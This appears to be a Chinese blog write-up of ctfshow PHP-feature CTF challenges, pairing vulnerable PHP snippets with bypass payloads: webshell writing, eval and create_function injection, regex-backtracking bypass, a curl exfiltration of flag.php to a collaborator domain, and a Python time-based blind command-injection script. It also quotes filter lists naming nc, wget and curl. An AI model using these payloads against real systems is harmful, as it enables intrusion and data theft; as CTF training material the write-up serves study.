ctfshow-php特性
后台-插件-广告管理-内容页头部广告(手机) |
大佬文章
intval 的绕过
正则匹配
sha1 和 md5 的绕过
php 运算符优先级
php://fliter 的各种过滤器
正则匹配的回溯
php 正则匹配最大回溯
linux 的 curl命令用法
无回显 rce 的总结
命令执行总结
- 本文中引用的所有文章都在上面了,感谢各位大佬!
web96
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- ./ 表示当前目录,故 u=./flag.php 即可
web97
if (md5($_POST['a']) === md5($_POST['b']))- 1
- md5 函数传入数组时候会返回 NULL,故传入两个数组即可
web99
<?php highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } >- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 源码中 in_array函数 没有第三个参数(严格检查),这样只会进行弱类型比较,不会检查数据类型。
因此会将如 60shell.php 识别为 60 后再进行检查。所以令 n=60shell.php,之后写入木马,多刷新几遍即可
web100
<?php highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- php 运算符优先级:&& > || > = > and > or
所以检查时候只要 v1 是数字,然后利用 v2 和 v3 来注释掉中间的 ctfshow 即可
web101
比上一题多过滤了好多
- ReflectionClass类:可以报告一个类的有关信息
直接 echo new Reflectionclass('ctfshow'); 即可
web102
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- php5 中 is_numberic 可以识别 16 进制,而 php7 不行
考虑 v1=hex2str(十六进制转码),这样就可以把任意的代码通过 v2 写入指定文件了
只不过对 v2 有 is_numbertic 检查十分讨厌,只有 <?=`cat *`; 经过 base64 编码后的字符串满足条件
考虑 v3=php://filter/wrrite=convert.base64-decode/resource=1.php,之后访问 1.php 即可
web105
include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; } foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- $$key 在 php 中相当于 $($key)(比如说 $key=a的情况下 $$key 相当于 $a)
这样 get 请求为 x=flag,post 请求为 error=x 即可
复盘时看到了一种有意思的解法,只发送 get请求:suces=flag&flag=,这样子会直接输出 $suces,从而得到 flag
web106
- sha1 和 md5 的绕过
web108
include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c']===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- ereg 函数存在 %00 截断的漏洞
因此直接 ?c=%00778 即可
web109
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
php 原生类利用
- __toString:当一个对象被当作字符串对待的时候,会触发这个魔术方法
需要找到含有 __toString 方法的原生类,之后令 v2=system('cat flag') 即可输出
原代码为 $v2(),意思是将 v2 的结果当作函数名调用所以没有影响
web110
大概比上面那个多过滤了好多符号,反正括号和引号是不能用了
-
FilesystemIterator:文件系统遍历器
getcwd:获取当前路径
通过以上两个的结合,可知 flag 的名字,之后直接访问即可
web111
- GLOBALS:引用全局作用域中可用的全部变量
web112
- php://fliter 的各种过滤器
当然,这题可以不用过滤器
web113
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- is_file 函数漏洞:函数处理目录长度有某个限制,超过这个限制即可
/proc/self/root 是指向根目录的连接,多次重复这个即可
web126
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; echo $a[1]; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } }else{ echo "hacker"; } }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
-
$server
pause_str:将字符串转化为多个变量
assert
$_SERVER['argv'] 可以读取 get 传参的内容。考虑和 pause_str 一起使用,将传入的参数解析成一个数组即可(或者和 assert 一起使用)
web127
- $_SERVER['QUERY_STRING'] 不会进行 urldecode 而 $_GET 会,所以用 url 编码绕过即可
web128
$f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
-
gettext():返回字符串的函数
get_defined_vars():返回由所有已定义变量所组成的数组
_() 可以代替 gettext,这样就绕过了对第一个参数的检查
web131
include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
-
php 正则匹配:
-
贪婪模式:匹配结果出现多种情况时,选择最长的那个
-
懒惰模式:匹配结果出现多种情况时,选择最短的那个(由 ? 修饰)
-
-
正则匹配的回溯:正则匹配时会对匹配成功的字串进行压栈,以便于失配后的状态回溯
-
php 正则匹配最大回溯:当压栈数量超过 php 设定最大值时,会直接停止匹配
题目中正则表达式 +? 会出现最大回溯超过设定值的问题,如果在字符串 36Dctfshow 前加上好多其他的字符,会导致 preg_match 返回 false 从而达到绕过的效果
web132
-
php 逻辑运算符短路:
false && ... 中 && 后面的不会执行
true || ... 中 || 后面的不会执行
web133
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- linux 的 curl命令用法
考虑上传 `$F`,其中反引号是 shell_exec() 的缩写,这样就可以实现对 $F 的自我调用,从而达到命令执行
构造 $F 前六位为 `$F%20`;,这样相当于执行 eval(shell_exec($F););。然后在这六位后面加上想要执行的命令即可
发现这题是无回显 rce,考虑将 flag 外带。在 burpsuite 上的 collaborator 插件申请一个子域名,之后用 curl -F hungry=flag.php [子域名] 这样的语句就能把 flag.php 发送到自己的服务器上了
web135
if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 无回显 rce 的总结
过滤的不严,直接用类似于 ca''t flag.php > 1.txt 的命令就能把 flag.php 写入到其他文件中
web136
function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
-
linux tee 命令:感觉和 > 的作用差不多
linux xargs 命令:主要是和管道一起使用,将管道左侧的标准输入转化为命令行输入
linux sed 命令:文本修改工具
标准解法使用 tee 命令替换 >,将所需执行的命令写入其他文件中并读取
还有一个很有意思的解法是直接对源码进行修改
ls | xargs sed -i "s/die/echo/"
ls | xargs sed -i "s/exec/system/"
大概意思是对于目录下的所有文件,把文件中的 die 转化为 echo,exec 转化为 system,之后直接命令执行即可
web139
web136 的加强版,这里没有写的权限了
考虑时间盲注,这个是我的判断语句(其中 th 是所求字符串的第几个字符,c 是可能的字符集):
if [ `cat /f149_15_h3r3|args| awk \"NR==1 \"| cut -c {th}` == \"{c}\" ];then sleep 2;fi
粘上脚本
import requests import time import string all_str = string.ascii_letters + string.digits + "\{\}_-<?>" print(all_str) url = "http://49c10546-c240-4770-9a4d-6344ac375b3e.challenge.ctf.show/?c=" def decode(line, th): for c in all_str: payload = f"if [ `cat /f149_15_h3r3|xargs| awk \"NR=={line} \"| cut -c {th}` == \"{c}\" ];then sleep 2;fi" try: requests.get(url + payload, timeout = 0.5) except: return c return " " if __name__ == '__main__': print(requests.get(url=url).elapsed.total_seconds()) line = 1 length = 100 for i in range(1, line + 1): print(f"line {i} begin!") ans = "" for j in range(1, length + 1): ans = ans + decode(i, j) print(ans) #ctfshow 7e3cc34b-cd5d-4bbc-8250-39c7720c6188- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
web140
- php 弱类型比较
web147
highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
-
命令执行总结:文章里面介绍了 create_function 函数的注入
-
php 所有原生函数都在 \ 命名空间中
考虑 create_function 注入:
ctf = \create_function
show = }system("cat flag");/*
即可
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。
在线投稿:投稿 站长QQ:1888636
后台-插件-广告管理-内容页尾部广告(手机) |